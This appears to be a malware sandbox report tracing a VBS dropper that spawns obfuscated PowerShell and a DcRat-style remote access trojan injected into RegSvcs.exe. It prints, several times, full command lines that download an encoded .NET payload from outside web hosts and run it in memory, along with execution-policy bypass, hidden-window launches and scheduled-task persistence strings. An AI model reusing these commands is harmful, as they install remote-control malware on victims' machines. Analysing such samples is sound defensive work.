Source: 4.2.powershell.exe.155c41c7c80.2.raw.unpack, NormalStartup.cs	Base64 encoded string: 'L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g', 'U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA=='
Source: 19.2.powershell.exe.240c11b51a0.1.raw.unpack, Settings.cs	Base64 encoded string: 'rdvg6WR9YpK4ldjpOONzY1prolv9NEkpkwUs2GkgR//0YtYH71rbxnR4PfBGmKhcLHtUrWgSsu+78LWRDCPstL0LWyHbVXPesRyBf8ep2nk=', 'kavigSNbfCs4IxuRCpfhumt7bCDlfiYTnBbT8pebQJaPJb8mlJBl7LhTP3A3D1oAvA9GgjgmY82OkDe1wp1WS9wyXKoH33DKgXCHGkVhdxmVDR5O3ckPdt7AZq6A27WPZ45ZZYqJ0Q/xn4KPodqJiJV3Tjop6IJ2RAcH6E9eLR2IIauR8fzkjhfIpmJxMk+CP8AYqydzOwaR03qYahkZv3rhQlsHUWeqGeYQtjFnvewL7x93qMLeiQt6fahVgVjBmll1DTYlzCGoaCZMRzXSKcKaffC71+RasCUhGK18dCw=', 'jVe/CHyxeji+ISSX691hV54Pga5de6Nfp7sJWmdTAzHCaR7mZl2MO65Hk6KJMauS9Y6jw9wXKcqYOT2qrHh4JQ==', 'vVLVqaAyjFawc15DAD8/cfIQb0Gumvo25eyVv99u7lA+4pgQQfe5He3KVJsqW0aNW9hTCtQIhPaNPwOsYJIAxA=='
Source: 19.2.powershell.exe.240c11b51a0.1.raw.unpack, NormalStartup.cs	Base64 encoded string: 'L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g', 'U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA=='
Source: 33.2.powershell.exe.1c03cb43b98.2.raw.unpack, Settings.cs	Base64 encoded string: 'rdvg6WR9YpK4ldjpOONzY1prolv9NEkpkwUs2GkgR//0YtYH71rbxnR4PfBGmKhcLHtUrWgSsu+78LWRDCPstL0LWyHbVXPesRyBf8ep2nk=', 'kavigSNbfCs4IxuRCpfhumt7bCDlfiYTnBbT8pebQJaPJb8mlJBl7LhTP3A3D1oAvA9GgjgmY82OkDe1wp1WS9wyXKoH33DKgXCHGkVhdxmVDR5O3ckPdt7AZq6A27WPZ45ZZYqJ0Q/xn4KPodqJiJV3Tjop6IJ2RAcH6E9eLR2IIauR8fzkjhfIpmJxMk+CP8AYqydzOwaR03qYahkZv3rhQlsHUWeqGeYQtjFnvewL7x93qMLeiQt6fahVgVjBmll1DTYlzCGoaCZMRzXSKcKaffC71+RasCUhGK18dCw=', 'jVe/CHyxeji+ISSX691hV54Pga5de6Nfp7sJWmdTAzHCaR7mZl2MO65Hk6KJMauS9Y6jw9wXKcqYOT2qrHh4JQ==', 'vVLVqaAyjFawc15DAD8/cfIQb0Gumvo25eyVv99u7lA+4pgQQfe5He3KVJsqW0aNW9hTCtQIhPaNPwOsYJIAxA=='
Source: 33.2.powershell.exe.1c03cb43b98.2.raw.unpack, NormalStartup.cs	Base64 encoded string: 'L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g', 'U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA=='

Source: 4.2.powershell.exe.155c41c7c80.2.raw.unpack, Methods.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 4.2.powershell.exe.155c41c7c80.2.raw.unpack, Methods.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 19.2.powershell.exe.240c11b51a0.1.raw.unpack, Methods.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 19.2.powershell.exe.240c11b51a0.1.raw.unpack, Methods.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 33.2.powershell.exe.1c03cb43b98.2.raw.unpack, Methods.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 33.2.powershell.exe.1c03cb43b98.2.raw.unpack, Methods.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.expl.evad.winVBS@68/59@5/3

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7420:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7576:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6152:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Mutant created: \Sessions\1\BaseNamedObjects\DcRatMutex_qwqdanchun
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7304:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8148:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7620:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7796:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_axi13bk3.zvh.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sostener.vbs"

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: sostener.vbs

ReversingLabs: Detection: 13%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sostener.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bz HE YQBh Go I 9 C Jw w DE Mw n Ds J B3 Gk a Bs HY I 9 C Jw l H egBB GM TwBn Ek bgBN HI JQ n Ds WwBC Hk d Bl Fs XQBd C J Bu G4 dQBv GE I 9 C WwBz Hk cwB0 GU bQ u EM bwBu HY ZQBy HQ XQ 6 Do RgBy G8 bQBC GE cwBl DY N BT HQ cgBp G4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ LgBX GU YgBD Gw aQBl G4 d p C4 R Bv Hc bgBs G8 YQBk FM d By Gk bgBn Cg JwBo HQ d Bw HM Og v C8 dwB3 Hc LgBp G4 ZgBv HI bQBh GM aQBv G4 bwBw G8 cgB0 HU bgBh C4 YwBv G0 LwB3 H LQBj G8 bgB0 GU bgB0 C8 dQBw Gw bwBh GQ cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p Ds WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt GE aQBu F0 Og 6 EM dQBy HI ZQBu HQ R Bv G0 YQBp G4 LgBM G8 YQBk Cg J Bu G4 dQBv GE KQ u Ec ZQB0 FQ eQBw GU K n EM b Bh HM cwBM Gk YgBy GE cgB5 DE LgBD Gw YQBz HM MQ n Ck LgBH GU d BN GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq GU YwB0 Fs XQBd C K n HQ e B0 C4 MQBT EQ LwBT FY TgBF C8 egBy GE TQ v Gc ZQBS C8 awBh FQ Lw 5 DY MQ u DM Mw y C4 Mg w DI Lg x Dk Lw v Do c B0 HQ a n C L g CQ dwBp Gg b B2 C L g Cc XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf C0 LQ t C0 LQ t C0 LQ t C0 LQ t C0 Jw s C J Bz HE YQBh Go L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sqaaj = '013';$wihlv = 'C:\Users\user\Desktop\sostener.vbs';[Byte[]] $nnuoa = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.AppDomain]::CurrentDomain.Load($nnuoa).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1SD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $wihlv , '_______________________-------------', $sqaaj, '1', 'Roda' ));"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Set-ExecutionPolicy Bypass -Scope Process ; powershell -file C:\Users\user\AppData\Local\Temp\xx1.ps1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Copy-Item 'C:\Users\user\Desktop\sostener.vbs' -Destination 'C:\Users\user\AppData\Local\Temp\'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Copy-Item 'C:\Users\user\Desktop\sostener.vbs' -Destination 'C:\Users\user\AppData\Local\Temp\'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -file C:\Users\user\AppData\Local\Temp\xx1.ps1
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -WindowStyle hidden "& 'C:\Users\user\AppData\Local\Temp\xx2.vbs' "
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\xx2.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -command wscript.exe //b //nologo 'C:\Users\user\AppData\Local\Temp\sostener.vbs'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\system32\wscript.exe" //b //nologo C:\Users\user\AppData\Local\Temp\sostener.vbs
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bz HE YQBh Go I 9 C Jw w DE Mw n Ds J B3 Gk a Bs HY I 9 C Jw l H egBB GM TwBn Ek bgBN HI JQ n Ds WwBC Hk d Bl Fs XQBd C J Bu G4 dQBv GE I 9 C WwBz Hk cwB0 GU bQ u EM bwBu HY ZQBy HQ XQ 6 Do RgBy G8 bQBC GE cwBl DY N BT HQ cgBp G4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ LgBX GU YgBD Gw aQBl G4 d p C4 R Bv Hc bgBs G8 YQBk FM d By Gk bgBn Cg JwBo HQ d Bw HM Og v C8 dwB3 Hc LgBp G4 ZgBv HI bQBh GM aQBv G4 bwBw G8 cgB0 HU bgBh C4 YwBv G0 LwB3 H LQBj G8 bgB0 GU bgB0 C8 dQBw Gw bwBh GQ cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p Ds WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt GE aQBu F0 Og 6 EM dQBy HI ZQBu HQ R Bv G0 YQBp G4 LgBM G8 YQBk Cg J Bu G4 dQBv GE KQ u Ec ZQB0 FQ eQBw GU K n EM b Bh HM cwBM Gk YgBy GE cgB5 DE LgBD Gw YQBz HM MQ n Ck LgBH GU d BN GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq GU YwB0 Fs XQBd C K n HQ e B0 C4 MQBT EQ LwBT FY TgBF C8 egBy GE TQ v Gc ZQBS C8 awBh FQ Lw 5 DY MQ u DM Mw y C4 Mg w DI Lg x Dk Lw v Do c B0 HQ a n C L g CQ dwBp Gg b B2 C L g Cc XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf C0 LQ t C0 LQ t C0 LQ t C0 LQ t C0 Jw s C J Bz HE YQBh Go L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\AppData\Local\Temp\sostener.vbs');powershell $KByHL;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sqaaj = '013';$wihlv = 'C:\Users\user\AppData\Local\Temp\sostener.vbs';[Byte[]] $nnuoa = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.AppDomain]::CurrentDomain.Load($nnuoa).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1SD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $wihlv , '_______________________-------------', $sqaaj, '1', 'Roda' ));"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Set-ExecutionPolicy Bypass -Scope Process ; powershell -file C:\Users\user\AppData\Local\Temp\xx1.ps1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Copy-Item 'C:\Users\user\AppData\Local\Temp\sostener.vbs' -Destination 'C:\Users\user\AppData\Local\Temp\'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Copy-Item 'C:\Users\user\AppData\Local\Temp\sostener.vbs' -Destination 'C:\Users\user\AppData\Local\Temp\'
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -WindowStyle hidden "& 'C:\Users\user\AppData\Local\Temp\xx2.vbs' "
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -file C:\Users\user\AppData\Local\Temp\xx1.ps1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\xx2.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -command wscript.exe //b //nologo 'C:\Users\user\AppData\Local\Temp\sostener.vbs'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\system32\wscript.exe" //b //nologo C:\Users\user\AppData\Local\Temp\sostener.vbs
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bz HE YQBh Go I 9 C Jw w DE Mw n Ds J B3 Gk a Bs HY I 9 C Jw l H egBB GM TwBn Ek bgBN HI JQ n Ds WwBC Hk d Bl Fs XQBd C J Bu G4 dQBv GE I 9 C WwBz Hk cwB0 GU bQ u EM bwBu HY ZQBy HQ XQ 6 Do RgBy G8 bQBC GE cwBl DY N BT HQ cgBp G4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ LgBX GU YgBD Gw aQBl G4 d p C4 R Bv Hc bgBs G8 YQBk FM d By Gk bgBn Cg JwBo HQ d Bw HM Og v C8 dwB3 Hc LgBp G4 ZgBv HI bQBh GM aQBv G4 bwBw G8 cgB0 HU bgBh C4 YwBv G0 LwB3 H LQBj G8 bgB0 GU bgB0 C8 dQBw Gw bwBh GQ cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p Ds WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt GE aQBu F0 Og 6 EM dQBy HI ZQBu HQ R Bv G0 YQBp G4 LgBM G8 YQBk Cg J Bu G4 dQBv GE KQ u Ec ZQB0 FQ eQBw GU K n EM b Bh HM cwBM Gk YgBy GE cgB5 DE LgBD Gw YQBz HM MQ n Ck LgBH GU d BN GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq GU YwB0 Fs XQBd C K n HQ e B0 C4 MQBT EQ LwBT FY TgBF C8 egBy GE TQ v Gc ZQBS C8 awBh FQ Lw 5 DY MQ u DM Mw y C4 Mg w DI Lg x Dk Lw v Do c B0 HQ a n C L g CQ dwBp Gg b B2 C L g Cc XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf C0 LQ t C0 LQ t C0 LQ t C0 LQ t C0 Jw s C J Bz HE YQBh Go L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\AppData\Local\Temp\sostener.vbs');powershell $KByHL;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sqaaj = '013';$wihlv = 'C:\Users\user\AppData\Local\Temp\sostener.vbs';[Byte[]] $nnuoa = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.AppDomain]::CurrentDomain.Load($nnuoa).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1SD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $wihlv , '_______________________-------------', $sqaaj, '1', 'Roda' ));"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Set-ExecutionPolicy Bypass -Scope Process ; powershell -file C:\Users\user\AppData\Local\Temp\xx1.ps1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Copy-Item 'C:\Users\user\AppData\Local\Temp\sostener.vbs' -Destination 'C:\Users\user\AppData\Local\Temp\'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Copy-Item 'C:\Users\user\AppData\Local\Temp\sostener.vbs' -Destination 'C:\Users\user\AppData\Local\Temp\'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -file C:\Users\user\AppData\Local\Temp\xx1.ps1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bz HE YQBh Go I 9 C Jw w DE Mw n Ds J B3 Gk a Bs HY I 9 C Jw l H egBB GM TwBn Ek bgBN HI JQ n Ds WwBC Hk d Bl Fs XQBd C J Bu G4 dQBv GE I 9 C WwBz Hk cwB0 GU bQ u EM bwBu HY ZQBy HQ XQ 6 Do RgBy G8 bQBC GE cwBl DY N BT HQ cgBp G4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ LgBX GU YgBD Gw aQBl G4 d p C4 R Bv Hc bgBs G8 YQBk FM d By Gk bgBn Cg JwBo HQ d Bw HM Og v C8 dwB3 Hc LgBp G4 ZgBv HI bQBh GM aQBv G4 bwBw G8 cgB0 HU bgBh C4 YwBv G0 LwB3 H LQBj G8 bgB0 GU bgB0 C8 dQBw Gw bwBh GQ cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p Ds WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt GE aQBu F0 Og 6 EM dQBy HI ZQBu HQ R Bv G0 YQBp G4 LgBM G8 YQBk Cg J Bu G4 dQBv GE KQ u Ec ZQB0 FQ eQBw GU K n EM b Bh HM cwBM Gk YgBy GE cgB5 DE LgBD Gw YQBz HM MQ n Ck LgBH GU d BN GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq GU YwB0 Fs XQBd C K n HQ e B0 C4 MQBT EQ LwBT FY TgBF C8 egBy GE TQ v Gc ZQBS C8 awBh FQ Lw 5 DY MQ u DM Mw y C4 Mg w DI Lg x Dk Lw v Do c B0 HQ a n C L g CQ dwBp Gg b B2 C L g Cc XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf C0 LQ t C0 LQ t C0 LQ t C0 LQ t C0 Jw s C J Bz HE YQBh Go L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sqaaj = '013';$wihlv = 'C:\Users\user\Desktop\sostener.vbs';[Byte[]] $nnuoa = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.AppDomain]::CurrentDomain.Load($nnuoa).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1SD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $wihlv , '_______________________-------------', $sqaaj, '1', 'Roda' ));"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Set-ExecutionPolicy Bypass -Scope Process ; powershell -file C:\Users\user\AppData\Local\Temp\xx1.ps1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Copy-Item 'C:\Users\user\Desktop\sostener.vbs' -Destination 'C:\Users\user\AppData\Local\Temp\'	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Copy-Item 'C:\Users\user\Desktop\sostener.vbs' -Destination 'C:\Users\user\AppData\Local\Temp\'	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -file C:\Users\user\AppData\Local\Temp\xx1.ps1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\xx2.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -command wscript.exe //b //nologo 'C:\Users\user\AppData\Local\Temp\sostener.vbs'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\system32\wscript.exe" //b //nologo C:\Users\user\AppData\Local\Temp\sostener.vbs
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bz HE YQBh Go I 9 C Jw w DE Mw n Ds J B3 Gk a Bs HY I 9 C Jw l H egBB GM TwBn Ek bgBN HI JQ n Ds WwBC Hk d Bl Fs XQBd C J Bu G4 dQBv GE I 9 C WwBz Hk cwB0 GU bQ u EM bwBu HY ZQBy HQ XQ 6 Do RgBy G8 bQBC GE cwBl DY N BT HQ cgBp G4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ LgBX GU YgBD Gw aQBl G4 d p C4 R Bv Hc bgBs G8 YQBk FM d By Gk bgBn Cg JwBo HQ d Bw HM Og v C8 dwB3 Hc LgBp G4 ZgBv HI bQBh GM aQBv G4 bwBw G8 cgB0 HU bgBh C4 YwBv G0 LwB3 H LQBj G8 bgB0 GU bgB0 C8 dQBw Gw bwBh GQ cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p Ds WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt GE aQBu F0 Og 6 EM dQBy HI 